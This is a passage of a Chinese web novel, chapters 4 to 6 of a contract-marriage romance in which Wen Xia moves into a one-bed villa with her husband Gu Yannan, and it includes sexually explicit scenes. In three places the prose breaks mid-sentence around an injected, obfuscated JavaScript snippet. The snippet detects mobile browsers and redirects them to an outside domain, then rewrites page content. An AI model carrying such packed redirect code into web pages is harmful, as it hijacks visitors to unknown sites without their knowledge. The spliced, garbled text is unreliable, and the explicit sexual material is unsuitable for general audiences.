“顾总,您的早餐。”周之恒将早餐递给他。
顾衍南淡淡扫他一眼:“你吃吧。”
“……啊?”
顾衍南舔了下舌尖的口子,低头看着手中的袋子,见周之恒跟着看过来,声音没什么起伏地解释了句:“她给我准备的早餐。”
4. 第 4 章
温夏到公司后,直奔祁源的办公室。
祁源刚到,见她拎着袋子进来,挑了下眉:“今天准备的什么好吃的?”
温夏自顾自走到沙发坐下,“三明治。”
祁源是温夏大学的学长,大四那年去了哥大念书,很巧合,和大哥温砚分到同一个班级,成为朋友。毕业后进入温氏工作,从基层员工做起,靠着自己一步步爬到市场部总监的位置,成为温砚的左膀右臂。
温砚出事后,他全力辅佐温夏,如果没有祁源帮忙,温夏刚进公司就被那群豺狼虎豹吃了,更遑论能让温氏起死回生。
祁源家住西南省份的一个小县城,一个人来到北城打拼,工作忙碌经常性不吃早餐,上个月查出有慢性胃炎,温夏早上做饭的话会给他带一份。
早餐除了金枪鱼三明治,温夏还准备了水果和牛奶,两人边吃边聊。
温夏问起昨晚的应酬:“许家那边还有什么不满意?”
祁源眯起眼:“没说什么不满意,就是一直在打太极,话里话外都是要你亲自去谈。”
温夏嫁给顾衍南后,不少人想通过她这个顾太太攀上顾衍南的交情,态度客气得很,全程好声好气的,也不说让她在顾衍南面前美言几句之类的话,但意图彼此心知肚明。
结婚前他说过,她可以利用顾太太的头衔拿人脉资源,温夏一直是这样做的,利不利用都无法改变她是顾太太的事实,有捷径干嘛不走?她不是清高的人,相反,她现实又庸俗,能借他的势达到目的,她没理由不这样做。
“我下周三晚上有空,再约一次吧。昨晚说到底,算我放他们鸽子。”温夏咬了口三明治。
祁源没说话,他吃得快,吃完三明治,塞了个圣女果入口,而后看着她,低声问道:“你和顾衍南怎么样了?”
温夏一怔,她没有告诉祁源她和顾衍南的关系,主要怕他告诉大哥,大哥念叨她,头疼。
“还行吧。”她敷衍地回了句。
祁源皱着眉:“昨天的热搜怎么回事?”
看来昨天那事闹得挺大,连祁源这种从不关注娱乐新闻的人都知道了。温夏不愿他担心,随口道:“炒作而已。”
祁源眉头皱的更深。
温夏见他要念叨自己,连忙扯开话题:“学长我昨晚听网课有几个地方没弄懂,你帮我看看吧。”
祁源盯她看了几秒,无奈叹了声:“你先吃饭。”
吃完早饭,温夏在祁源办公室待了十分钟,把网课遇到的问题弄懂,回到办公室,让林若雯把面试的时间安排到明天下午。
四十分钟后,林若雯进来,提醒她开会。
会议室里,人已经到齐了,看到温夏走进来,停下窃窃私语,下意识收着呼吸。
没人会把温夏当成第一次见面以为的软柿子。
这半年来,对温氏的每一个人来说都可以说是跌宕起伏。
去年十月,温总因过失致人死亡罪被检察院带走,最终被判处三年有期徒刑,温氏陷入剧烈动荡,温大小姐温夏——一个只会画画读书的学生接管温氏。
董事会和股东大会自然没人服她,很快,由于温氏这些年在珠宝市场上几近占据垄断地位,早就引起其他珠宝公司的不满,趁着温氏内乱,几家珠宝公司联合“围剿”温氏的股票,切断温氏的产业链,温氏濒临破产。
人人都把责任怪在这位无能的温大小姐身上,董事会和股东大会更是喋喋不休地指责她,要她交出自己的股份和代持的温总的股份,保守派的董事带着心腹跑路,核心员工也跑了不少。
温氏陷入内忧外患。
就在众人都以为温氏马上就要宣布破产,顾氏集团官方突然发布公告,温家大小姐温夏于两个月前嫁给顾家现任掌权人顾衍南,下月举办婚礼。
所有人都炸了。
峰回路转,温氏起死回生,跑路的人这才反应过来,温夏是故意隐婚,看清温氏内部的阵营,把有二心的人踢出局。
有传言说温夏能嫁给顾衍南,是因为自导自演一场一夜情被顾老爷子和记者捉奸在床强势逼婚,也有人说温夏怀了顾衍南的孩子母凭子贵,众说纷纭,谁也不知道真相,但没人再把温夏当成待在象牙塔里的单纯无知学生。
毕竟是土生土长的豪门大小姐,最不缺的就是心机。
这场会议主要围绕温氏最新的项目上,大哥制定的规章制度很完善,有顾家的资金支持,这个项目并不难做。
一场会开了两个小时,结束后,已经中午了。
走出会议室,温夏习惯性拿出手机看消息,看到阮眠给她打了两个电话,间隔十五分钟。
大概是她没接,阮眠十分钟后,给她发了条短信。
阮眠:[嫂嫂,你在忙嘛?]
跟了个小兔子眨眼的表情包。
温夏靠在办公椅上,给她回了个电话。
阮眠秒接。
“抱歉眠眠,刚才在开会。”温夏歉意道。
阮眠:“没关系嫂嫂,我刚才给我哥打电话,他说你们今天下午搬家,我今天正好没事,我去帮你们搬家吧!”
“不用,东西不多。”
“嫂嫂你不要跟我客气嘛。”阮眠软声撒娇。
凭心而论,阮眠是个真诚的姑娘,温夏很喜欢她,如果她不是顾衍南的妹妹,她一定会和她做朋友。
但她和顾衍南的关系不知道哪天会结束,到时候她和顾家人的关系会变得尴尬。
温夏把烂摊子推到顾衍南头上,“你哥知道吗?”
“哥哥知道的,”阮眠语气轻快,“他说只要嫂嫂你同意就行。”
“……”
温夏还能说什么呢:“那就辛苦你了,等我忙完打给你。”
阮眠:“好哦!”
挂断电话,温夏揉揉太阳穴。
她和顾衍南分房睡的事,要是被阮眠知道,很快顾爷爷就会知道,到时候免不了大发雷霆。
叹了口气,温夏拨通顾衍南的电话。
-
谈完北郊项目的占股权,顾衍南正在和另一位投资人陆延城一起吃午饭。
手机震动,他低头看了眼屏幕,眼睛微微眯起。
陆延城见他盯着屏幕,淡淡道:“请便。”
顾衍南拿着手机,起身,加了句解释:“抱歉,我太太有事找我。”
陆延城眉梢高挑。
顾衍南推开包厢门,在电话自动挂断的前一刻接通:“什么事?”
温夏以为电话要挂了,正准备编辑短信让他有空回个电话,募地听到他的声音,微微愣住。她组织了下语言,把阮眠要去公寓帮忙搬家的事告诉他,然后把问题抛给他解决:“该怎么办?”
她本意是想问他解决方案,毕竟是他的公寓他的妹妹所以该由他想办法,但这话听着莫名有种依赖的意思,顾衍南眸色暗了暗:“你提前十分钟回去,把你的东西放到我房间,随便放点就行,眠眠不会进卧室。”
“噢,”温夏多问了句,“你回来搬家吗?”
“不然呢。”
“……”
温夏自觉无趣:“我知道了。”
三秒后,顾衍南挂断电话。
这事纯属多此一举,但为了不让顾爷爷起疑,温夏按照顾衍南说的提前回去,站在次卧看了一圈,最后拿了个枕头和她用过的洗护用品,放到主卧。
只有他们做的时候,温夏才会进他的房间。
本来一开始,做完之后,温夏想回次卧睡,但顾衍南见她还有力气动,就接着折腾她,渐渐的,每次做完,温夏就在他房间睡了。
推开门,一股清冷的木质香气扑鼻而来,是他身上熟悉的檀香气,温夏在门口停留几秒,抬腿走了进去。
他的房间简约整洁,黑白灰的主色调,床褥铺的整整齐齐,黑色遮光窗帘拉开,纬纱随风轻扬。床头柜摆放一盏夜灯,上面躺着一本很厚的书,温
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520451|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏凑近,是一本德文小说。
她看过,特别无趣,看了一半就弃了。
没用书签,他随手夹了个打火机,看样子已经看了一大半了。
这么无聊的书他也能看下去,品味真独特。
温夏收回视线,将自己的枕头放到他的旁边,理了理被子,营造两人同床共枕的假象,然后将洗漱用品放到他的洗手间。
收拾的简陋,好在阮眠很有分寸感,没有进去,到家后兴奋地要帮温夏收拾,温夏便领她去了书房,让她帮忙整理文件。
搬到这里四个多月,温夏原以为东西不多,收拾起来才发现到处都是生活痕迹,除了必要的文件和书籍,剩下的日用品和衣服装了三个行李箱,本就空荡的房间看上去更空了。
顾衍南回到家,看到主卧那两个靠在一起的枕头,目光凝了一瞬。
走进洗手间,一眼注意到多出的那套女士日用品,和他的洗漱用品摆在一起。
一黑一白,两种极具反差的颜色看着却毫不突兀。
“哥,需要我帮忙嘛?”阮眠帮温夏整理好文件,站在主卧门口问他。
“不用,去陪你嫂子。”
“喔!”阮眠临走前,偷偷瞥了眼床的方向,看到两个靠在一起的枕头,眨了下眼睛。
顾衍南收拾的很快,半小时后,温夏也收拾好了,杨叔带着几个家佣来帮他们搬行李。
四十分钟后,司机驱车驶入明湖公馆。
将行李搬进去,家佣很快从房子里退出。
杨叔跟在顾老爷子身边多年,如今顾老爷子身体不好,很多事都由他代表,杨叔便带他们参观了这套别墅。
房子很大,上下两层加起来近千平,除了基础房间,一楼有个泳池,二楼还有个室内温室花园。
但是……
这么多房间,却只有一个卧室,只有一张床。
见温夏面露疑惑,杨叔适时解释:“这是董事长的安排。”
阮眠恍然。
原来爷爷说的惊喜,指的就是这个!
至于嘛?哥哥嫂嫂本来就一起睡的,这样搞的像在强迫他们睡在一起一样。
怪不得房子装修这么久,原来老爷子把次卧和客卧都改成了各种功能房,琴房、画室、健身房、拳击室、家庭影院、酒窖,还有个房间专门放各种好看的杯子。
阮眠和杨叔走后,温夏看着顾衍南推着行李箱走进衣帽间,一派淡然。
衣帽间自然也是共用的,衣橱四面贴墙,中央两个玻璃台用来放腕表和珠宝,冷白灯光下,流光溢彩。
顾衍南将衣服分别挂好,温夏见他没有要开口的意思,忍不住问道:“我们怎么睡?”
“什么怎么睡?”顾衍南头也没回。
温夏提醒他:“这里只有一张床。”
“我不瞎。”
“……”
“我睡哪儿?”温夏把话挑明。
她自然不会自作多情认为顾衍南愿意和她一起睡,不然当时为什么要让她住次卧?
而且同床共枕,太容易滋生不必要的感情。
他在婚礼那天提醒过她,让她不要太贪心,安心做她的顾太太,守好规矩,不能越界。
温夏时刻谨记。
顾衍南回头,低眸看她。
眼睛微眯,压迫感极强。
见他沉默,温夏猜测他不想和自己睡,但这里只有一间房,他怎么说也学过绅士礼仪,不能主动提让她睡沙发,太没绅士格调。
眼睫微不可觉地颤了下,温夏低声说:“我睡沙发吧。”
“睡沙发?”他重复。
温夏默了默,点点头:“嗯。”没床她不睡沙发还能睡在地板上吗?
顾衍南靠着衣橱,扯了扯唇,嘴角溢出一点冷意:“你打算睡一辈子的沙发?”
一辈子。
温夏的神经被重重扯了一下,脱口而问:“我要在这里住这么久吗?”
5. 第 5 章
衣帽间的吸顶灯散发冷色调的光线,自上而下洒落,寂静得落针可闻。
温夏是个极其世故虚伪的女人,但她有一双孩童般清澈漆黑的眼睛,黑白分明的眸子一瞬不瞬地看着他,顾衍南滚了滚喉结,眼神晦暗复杂。
静默半响,他淡声开口:“去卧室睡。”
蜷缩的神经陡然一松,温夏慢慢松开紧攥的手指,掌心不知何时汗津津的,她没反对,也没有反对的余地,点点头:“我先去整理书房。”
没有客房和次卧,这个书房比公寓里的那个大两倍还要多,温夏打开箱子,将书籍和文件拿出来,不紧不慢地分类摆放。
收拾完,已经是一小时后,温夏没有立刻出去,她靠在书房的办公椅上,偏头看向窗外。
夕阳像是流心质地的咸鸭蛋,天空被泼墨成橙红色,唯美的如同电影镜头。
温夏从未抱过能和顾衍南过一辈子的打算。
他们的婚姻是一场各种巧合推动的意外事件。
四个月前,距离温砚被检察院带走两月有余,温氏陷入多家珠宝公司的联合针对,资金链断裂,面临巨额违约金和赔偿款,股东会逼迫温夏要么宣布破产,要么低价转卖温氏。
就在温夏无能为力,决定妥协时,饭局结束后,她被霍瑾深——顾衍南最好的兄弟——拦住。
男人上下打量、审视她:“温大小姐,有兴趣做个交易吗?”
霍瑾深是除了当事人外,唯一知道她和顾衍南那段短暂炮友关系的人。
他说顾衍南误喝一杯加料的酒,要她做他的解药,只要她答应帮忙,他承诺,温氏所有的问题都会迎刃而解。
温夏觉得好笑,顾大公子花名在外,倒贴都想和他睡一觉的女人多的是,为什么会要她去?
霍瑾深揉了揉眉骨,语气无奈:“他挑的很,这么多年我只知道你跟他睡过,我刚给他找了两个女人,都被赶出来了,你去试试。”
大概是这段时间见惯了世态炎凉,温夏连冷嘲热讽的心情都没有,对他微微笑了下,转身离开。
“听说你哥的案子下周二审开庭……”话没说完,引人遐想。
威胁意味不言而喻,这句话牵住了温夏的脚步,转身。
好似刚才威胁她的人不是他,霍瑾深好声好气地商量:“温大小姐,帮个忙吧,嗯?”
温夏拿着房卡,在门外站了许久,推开套房的门。
第二天一早,很戏剧化的一幕,顾老爷子不知道从哪儿得知的消息,带着记者前来捉奸,也不知道怎么就看中她这个负债累累的破落户,威逼利诱温夏嫁给顾衍南。
事情来的猝不及防,温夏没有多余的时间深思熟虑,顾老爷子年轻时出了名的杀伐果决,想办的事就没有办不到的,温夏迅速在脑中分析利弊,很快得出嫁给顾衍南的好处要比坏处多得多。
她本就打算过两年找个门当户对的男人结婚,早在懂事起她就清晰地知道自己的那条轨线,至于结婚对象——如果不是顾老爷子看中她,顾衍南根本不是现在的她能高攀上的。
权衡一番,温夏把自己卖给了顾家,顾家帮温氏起死回生,还帮大哥疏通关系,将刑期降到最低。
温夏嫁给顾衍南是为了温氏和大哥,顾衍南是为了让顾爷爷安心。
听说顾爷爷去年得了场大病,情绪上受不了刺激,顾衍南虽游戏人间放荡不羁,但活在这俗世,再洒脱的人都有难言的羁绊。
他们这段婚姻看似稳定,实则充满变数——
如果顾爷爷发现他们不论怎么培养都没有感情,说不定会让他们分开;
如果顾爷爷百年之后,顾衍南不想和她凑合,会和她离婚;
或者顾衍南寻觅到他真爱的女人,想必顾爷爷会成全他吧,给她这个弃妇一大笔赡养费。
就算这些没有发生,寻常夫妻都会经不住外界诱惑和七年之痒,更何况是她和顾衍南。
他刚才的那句话,只是无意之言,她不会当真。
她和顾衍南早晚会分开。
温夏时刻做着离开的准备,以防他提出时,她不至于像婚礼那天一样措手不及。
-
晚饭是张婶做的。
温夏收拾完行李,饭已经做好了,简单的四菜一汤,闻着让人饥肠辘辘。
张婶是顾家老宅的人,在顾家做了几十年,可以说是看着顾衍南长大的,想到董事长的吩咐,趁着少爷少夫人吃饭时,在厨房里边收拾边朝餐厅瞅。
见状,温夏主动找了个话题,打破饭桌上死寂的沉默。
她和顾衍南之间没什么好聊的,很多话题会侵犯隐私,她也不愿知道太多他的私事,介入他的生活,便问阮眠和江肆的婚礼日期定了吗?
边问,温夏边给他夹了一块番茄牛腩,一副吃饭时夫妻闲聊的姿态。
顾衍南掀眸看她一眼,将那块牛腩送入口中,咽下去后喝了口水,才搭理她:“定了。”
“什么时候?”
“五月底。”
“这么快?”还有一个多月。
顾衍南扯了扯唇,语气嘲讽:“他想娶眠眠想了七年,要不是爷爷舍不得,早哄着眠眠领证了。”
顾衍南和江肆原本关系不错,但自从江肆成为他的妹夫后,就怎么看怎么不顺眼。
连带着对阮眠也有些生气——傻妹妹太好骗了,江肆说什么就是什么,要她事务所的选址在江家公司隔壁,她照办,复合没两天江肆哄她同居,她傻愣愣地同意让人搬进去,被江肆拿捏的死死的。
要是阮眠有温夏一半聪明,他都不至于操心。
温夏听出他话中的情绪,妹妹丢了二十五年,好不容易认祖归宗,没几天就要嫁人,论谁都不会好心情。想到阮眠对她这么真诚,温夏替他们说了句好话:“江肆很爱眠眠,眠眠也爱他,他们分开这么多年,自然着急成为合法夫妻,眠眠是成年人了,她知道什么该什么不该做。”
江肆和阮眠当年因江肆父亲棒打鸳鸯分手,这些年江肆步步夺权,掌握江家的话语权后,迅速把阮眠追了回来。
相识七年,分手五年,如今破镜重圆,如果不是真实发生在身边的故事,温夏不会相信真的有人可以这么长情。
“她没你这么聪明。”顾衍南没什么情绪地说了句。
温夏一噎,不知他这话是真心夸她,还是在嘲讽她心机深沉。
想来是后者。
聊天的欲望被败光了。
温夏没再开口,安静吃饭。
顾衍南看着她低垂的眉眼,皱了下眉,薄唇微动,最终什么也没说。
饭桌恢复沉默,好在温夏早已习惯“食不言”,并不觉得难以忍受。
饭后,张婶收拾完厨房就离开了。
门关上,温夏本想回她的房间,起身的那刻,后知后觉地意识到这里只有一个卧室。
除了做.爱后和顾衍南同床,温夏记事起就是一个人睡的,她睡姿特别差,小时候家中给她请了各种老师,唯独忘记找老师教她该怎么保持优雅睡姿。
温诗前些年有一晚要和她一起睡,睡到半夜实在受不了,因为温夏睡觉习惯抱着东西,她有一个抱了很多年的小熊玩偶,睡觉会抱着,好友梁从音不止一次嘲笑她这个幼稚的习惯。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520452|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果没有东西抱的话,她会抱着自己,类似于胎儿在母体蜷缩的姿势入睡。
和顾衍南做完后睡在一起,他好像也有抱着东西入睡的幼稚习惯,一开始温夏怕自己会主动抱他,就离他很远,但醒来后总是在他怀里。
后来,她就不瞎折腾了,原本做完就没有力气,任由顾衍南抱她清理身体,再抱着她睡觉。
做完后,累到身心俱疲,没精力纠结是抱着睡还是分开睡,但他们总不可能每晚都做,她没力气配合他的变态体力。
卧室的房间很大,床却只有一米八宽,温夏平躺在床,感觉她稍微一动就能碰到顾衍南。
想也不用想,这是顾爷爷的杰作,包括这套香槟色的床品,营造一种温馨柔软的暖意。
温夏靠边睡,拿出手机回复短信。
身侧,顾衍南靠坐在床上,拿着平板,处理零星的工作。
短信回完,温夏看了眼时间,已经十一点了,到了她平时睡觉的点。
精神上没有睡意,但身体累了,她打了个哈欠。
“困了?”他好似在她身上装了监控,她打哈欠都没有发出声音,他却能觉察。
温夏下意识攥紧手机,抬眸看他。他穿着宽松的黑色睡袍,随意系了条带子,领口大咧咧地敞着,露出性感的锁骨和饱满的胸肌,块状分明的腹肌若隐若现,明明亲过用过无数次,温夏却像是被烫到一般,迅速挪开眼。
“嗯,我想睡了。”
顾衍南的视线在她泛红的耳根上停留片刻,喉结上下滑动。
“睡吧。”
话落,他放下平板,伸手关了灯。
温夏把手机放到一边,将自己这边的床头灯关上。
黑色遮光窗帘将外面的光线完全挡住,两盏灯关上,卧室彻底暗下来,什么也看不清。
浅淡的呼吸声在耳畔响起,空气中,同款沐浴乳的味道缠绕在一起,还有他身上淡淡的檀香气,像是寺庙里的味道。
床太小,比公寓里那张两米五的大床小了三分之一,温夏靠边平躺在床上,睡得特别规矩。
考虑到自己的坏习惯,她今晚没打算正常入睡,等到实在熬不下去再说。
大约几分钟后,身侧的人突然动了下,温夏身体瞬间僵住,然后察觉到他翻过身,背对着她。
紧绷的身体陡然放松,温夏也转了过去。
夜晚谜一般的静谧。
背对着背,温夏闭上眼,仍是没有丝毫睡意。突然,她感知到一股愈来愈进的侵略感,还没睁开眼,手腕被攥住,整个身体被抱到床的中央,顾衍南双臂撑在她身侧。
黑暗中,温夏什么也看不见,感觉到唇被轻轻碰了一下,如羽毛轻拂,她一怔,瞪大眼睛,紧跟着,狂风暴雨般猛烈。
密密麻麻的吻重重落下来,滚烫的气息渡入温夏口中,唇舌交缠,黑暗中,浸满潮湿的喘息。
“我明天一早要去公司,得早点睡。”他的腿卡进来,温夏连忙喊道。
男人停也没停,膝盖强势抵开,哑声反问:“你睡得着?”
“……”
肩带被拨掉,他的手指特别冰,温夏身体一颤,黑暗中凭着第六感抓住他的手指:“别……”
顾衍南动作微顿,停了两秒,反攥住她的手腕,不怎么情愿地妥协:“只做一次。”
“可是一次也要很久。”至少一个小时。
似是被这句话愉悦到了,男人胸腔颤动,闷出一声笑。举起那只被他攥在掌心的手,在她滑软的手背上亲了亲,随即倾身压下来。
“那你就想办法让我快点。”
6. 第 6 章
黑暗中,视觉消失,其他感官成倍放大。
温夏明显感觉到脸烧了起来,她知道他指的是什么。
不是没有过,那段短暂的炮友时期,年轻气盛,好奇心重,什么都敢尝试。也因为都知道这段关系不会长久,今朝有酒今朝醉,那间套房里,他们做尽荒唐事。
反倒是如今,每次都循规蹈矩,单纯地解决生理需求,调情的话也不怎么说。
以前他在床上话特别多,每次她被说的羞耻难堪捂他嘴他才停。
因为年纪大了吗?
“行吗?”黑暗中,顾衍南低沉磁性的声音贴着她耳畔响起。
温夏别过头:“不要。”
顾衍南没有强迫她,他又不是变态,没有强迫女人的嗜好,但那双漆黑的眸子一寸寸冷了下来。
这场性.事比温夏预估的还要漫长,她隐隐觉得顾衍南在故意折磨她,但没有证据,因为他并没有做什么,只是一味地闷声埋头苦干。
“你快一点。”温夏实在受不了了,去咬他的肩膀,双臂间的肌肉坚硬咯手。
“不是说了,你自己想办法。”顾衍南抽手,慢条斯理地往她脸上抹,一片湿润。
还要继续,温夏身体颤抖,按住他,声音不成调:“你先擦干净。”
顾衍南在床上是变态,与其被折磨一番再妥协,不如早点妥协,毕竟他平时没少这样帮她。
“都是你的东西,擦什么。”顾衍南没动。
温夏咬着唇,只能扯过自己的睡裙擦干净,跪在床上。
“牙收好。”
头顶,响起他沙哑平静的提醒。
温夏含糊地应了声。
她的所有经验都来自他,但间隔十年,早就忘记该怎么做,动作生涩笨拙,不得不重新教。
温夏的学霸属性让她学什么都快,很快便得心应手,顾衍南喉结缓慢滚动,喘息声很重,掌心按着她脆弱的后颈,慢慢用力。
温夏想拒绝,但她的嘴巴现在做不到。
喘息声和吞咽声在黑暗中交缠,温夏听到他的溢出难耐的哑声。
破天荒地夸她一句:“……很棒,做的很好。”
窒息感越来越强,濒死瞬间,顾衍南掐着她的腰,温夏被抱到他身上。
“感觉有什么不同吗?”湿热气息拂过耳垂。
温夏搂着他的脖子,喉咙发不出正常的声音:“什么?”
“裹满你的口水。”
温夏张开红肿的嘴巴,用力咬他的肩膀。
过程虽羞耻,好在有效,顾衍南没再折磨她,信守承诺,一次便放过她。
温夏被他抱去浴室洗澡,洗完被他抱到床上。
可能是身体太累,也可能是她习惯做完后被他抱着睡,温夏很快便沉沉睡去,不用经历失眠的煎熬。
第二天,温夏是在顾衍南怀里醒来的。
腰被一只有力的手臂禁锢,压的她呼吸不畅,温夏去扒拉那只压迫她的胳膊,搂着她的力道收紧,这下彻底没法动弹。
耳侧呼吸均匀,他没醒,本能反应。
温夏放弃挣扎,被他搂在怀里,仰头看着漆黑的天花板。
身体的其他器官缓慢苏醒,浑身酸软,像被卡车来回碾压,每一根骨头都酸痛不已。
还有种难言的酥麻舒爽。
她喜欢和他做,生理上的。
不然当年不会和他做炮友。
想到那段短暂的、荒唐的、叛逆的经历,温夏眼皮颤了下,伸手在床头柜上摸索,打开床头灯,借着微弱的光去找手机。
摁亮,刚过七点,她平时七点二十起床。
放回手机,温夏闭上眼,准备再眯一会。
卧室里很安静,只能听到耳畔均匀浅淡的呼吸声,和他胸膛里心脏跳动的声音。
温夏闭了半分钟的眼,复又睁开,目光转来转去,最后落在搂着她的男人的脸上。
他是浓颜系长相,五官立体,剑眉星目,下颌线利落分明,攻击性很强,对视的时候,目光锐利,会有几分咄咄逼人的强势。
这些年,温夏可以说是阅人无数,见过形形色色的男人,各种人种、肤色、家世、学历、性格,但顾衍南这张脸无疑最踩她审美点。
尤其是那双勾魂摄魄的桃花眼,仿佛有道不尽的风情,被他专注盯着时,很难不被吸引。
是真的好看,客观意义上的帅气,不难理解为什么明知他风流浪荡,不会为任何人驻足停留,却仍有那么多女人前赴后继,飞蛾扑火。
“在看什么。”
低哑模糊的男声打断她的思绪。
温夏微愣,回神,顾衍南不知何时醒了过来,睁眼看着她。
刚睡醒,男人的眼神看着不大清醒,眼皮略微耷拉着,眉眼中带着几分不耐的起床气。
那双漆黑漂亮的桃花眼盯着她,他维持着搂她的动作,呼吸温热,喷洒在她皮肤上。
温夏清晰地感觉到心脏漏跳半拍。
“没什么。”温夏把他的手挪开,往后退了退。
顾衍南眯起眼,神色比刚才清明不少,看着她的眼神带着几分探究。
她身上松松垮垮地裹着件一黑色睡袍,昨晚洗完澡,闹着非要穿衣服,顾衍南不耐烦地扯过自己的睡袍给她披上,她才乖乖睡去。
经过一夜,睡袍松垮散开,领口大敞,从顾衍南这个角度,该露的不该露的,一览无遗。
长而乱的黑发,他的衣服,绯红脸蛋,杏眸含水,裸露在外的细白脖颈上烙满紫红色的吻痕,是他留下的。
她的皮肤很白,不是正常黄种人的肤色,稍微碰一下就会有很深的印子。
全是他给她的。
全是他。
顾衍南呼吸微沉,眼睛一寸寸暗了下来。
有过性关系的两个人,很容易能察觉到彼此的变化,温夏注意到他的眼神,顺着他的视线,看到自己几乎半裸着,脸蛋“腾”地红了,立刻拢起睡袍,防备地看着他。
他的睡袍在她身上,那被子下的身体就是全.裸的。
顾衍南被子掀开,温夏迅速挪开视线,身后的人顿住动作,默了几秒钟,哑声道:“去穿衣服,把睡袍还给我。”
温夏裹紧睡袍,没回头:“你不能穿别的吗?”
“我就喜欢这件。”
“……”
温夏背对着他皱了皱眉,下床,去衣帽间换完衣服,将睡袍用力扔到床上。
洗手间宽敞明亮,她和顾衍南的洗漱用品摆在一起,一白一黑的情侣款水晶漱口杯,估计是阮眠准备的。
温夏打开水龙头洗漱,正刷牙,顾衍南走到旁边的盥洗池,拧开水龙头。
水流汩汩,两人并排洗漱,温夏有些尴尬,好像他们真的是生活好多年的夫妻,不自主加快速度。
心想:以后要和他错峰洗漱。
顾衍南第一次和人一起洗漱,也觉得有些奇怪,他比温夏动作快,洗漱完,没急着走,站在一旁看她从一个绿色玻璃瓶中挤了点乳白色的液体,眉头皱了下:“你这抹的什么?”
温夏正要往脸上涂,闻言一顿,他怎么好奇心这么重,面上好声好气地回:“乳液。”
看着好像有毒。
“先别抹。”顾衍南说。
“为什——”
话没说完,顾衍南拦腰将她提到洗手台上,温夏吓了一跳,下意识搂住他的脖子,听到他问:“昨晚舒服吗?”
“……”
“说话。”长指按着她咬紧的唇。
温夏耳根通红,含糊地唔了声:“……舒服。”
说不舒服会惹他生气,不说话他会磨到她说话为止,温夏已经摸清他的脾气,没有自讨苦吃。
而且真的挺舒服的,平日里都是他服务她,昨晚她难得主动,他满足之后,颇为“礼尚往来”地让她舒服一次又一次。
然而,顾衍南并没有因她的识相放过她:“那再来一次。”
话落,顾衍南吻住她的唇,那双修长漂亮的手指去扯她刚换的衬衫扣子。
早在睁眼那刻,看到她直勾勾地、毫不掩饰地盯着他,顾衍南就想这么做了。
他向来随心所欲,刚才没有行动是觉得自己不该像原始动物一样被低级欲望支配,便克制下来。
但当他洗漱时,她就站在他身侧,细嫩脆弱的脖颈上烙满他给她的痕迹,身上散发似有若无的香味,淡淡的柠檬香,他喜欢这个味道。
顾衍南觉得他没有忍下去的必要。
她是他的顾太太,他们做这种事,天经地义。
她说舒服,顾衍南自然知道这是真心话,她看着正经冷淡,却很爱和他做这种事,每次都要喷他一脸,这个时候让她说什么都行,不论是让她叫哥哥还是老公,甚至是更过分的称呼,她都会乖乖喊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520453|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,媚眼如丝,绵软无力,听话得不行。
既然她这么喜欢,他作为她的丈夫,满足她就是了。
顾衍南舌尖描摹她的唇形,淡淡地想,昨晚她给他口时,是什么样的表情?
……十年前,太久远,那时候她比现在大胆得多,她瞳仁漆黑,衬的眼白很白,稍微有点情绪波动眼睛就容易红。
顾衍南从久远的记忆里调取这段回忆,他记得那时候她眼睛红通通的,蒙着层潋滟水雾,脖颈到耳朵红了一大片。
她性子倔,吃不下,还要努力吃,脸颊鼓起,像在吃超大号的棒棒糖,津液从嘴角溢出,仰头看着他,眼睛湿漉漉的,可怜得不行。
她的喉咙有点浅,吞咽得很困难。
昨晚应该也是这幅表情,又倔又可怜,嗯,不该那么快放过她的。
衬衫扣子被解开,温夏领口一凉,她立刻按住顾衍南的手,躲开他的唇,急着道:“今天要开会。”
顾衍南扣住她的下巴,在唇上用力亲了下:“几点的会?”
“……十点。”
“现在没到八点,不会耽误你开会。”
这句话落下,温夏的衬衫也落地。
然后是胸衣,他熟练解开暗扣。
“不在这里,这是洗漱的台子。”温夏知道躲不过,只能退而求其次,换个地方,这里很凉,还很硬,很咯人。
“高度正合适,还有镜子。”
“不要……唔。”
男人滚动着喉结,胸腔上下起伏,发出沉哑性感的喘息声,像一只发.情的野兽。
顾衍南要做的事,没有办不成的。
温夏只能配合。
不同于昨晚的黑暗,洗手间光线明亮,顾衍南看她的脖颈到耳根一片酡红,像个考拉一样挂在他身上,好似全身心地攀附于他。
心头一动,他忽然想起一夜情那晚,她的反应生涩笨拙,茫然又紧张,就好像……很久没有过。
不知道抱着什么样的心思,顾衍南停下动作,安静看着她,突然问了句:“那晚之前,你是不是很久没做过了?”
温夏眼睛动了下,仿佛没听见,趁他停下,趴在他肩膀上,轻轻喘息。
